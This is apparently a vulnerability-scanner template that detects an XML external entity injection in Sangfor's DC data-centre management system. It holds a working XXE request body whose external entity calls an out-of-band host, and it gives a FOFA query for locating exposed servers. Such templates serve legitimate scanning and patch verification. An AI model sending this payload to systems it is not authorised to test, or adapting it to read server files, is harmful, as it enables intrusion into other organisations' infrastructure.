id: sangfor-dc-sangforindex-xxe

info:
  name: 深信服 DC数据中心管理系统 sangforindex XML实体注入
  author: zan8in
  severity: critical
  verified: true
  description: |-
    深信服 DC数据中心管理系统 sangforindex 接口存在XML实体注入漏洞，攻击者可以发送特定的请求包造成XML实体注入
    FOFA: "SANGFOR 数据中心"
  tags: sangfor,xxe
  created: 2023/09/05

rules:
  r0:
    request:
      method: POST
      path: /src/sangforindex
      headers:
        Content-Type: text/xml
      body: |
        <?xml version="1.0" encoding="utf-8" ?>
        <!DOCTYPE root [
            <!ENTITY rootas SYSTEM "{{oob.HTTP}}">
        ]>
        <xxx>
        &rootas;
        </xxx>
    expression: oobCheck(oob.ProtocolHTTP, 3)
expression: r0()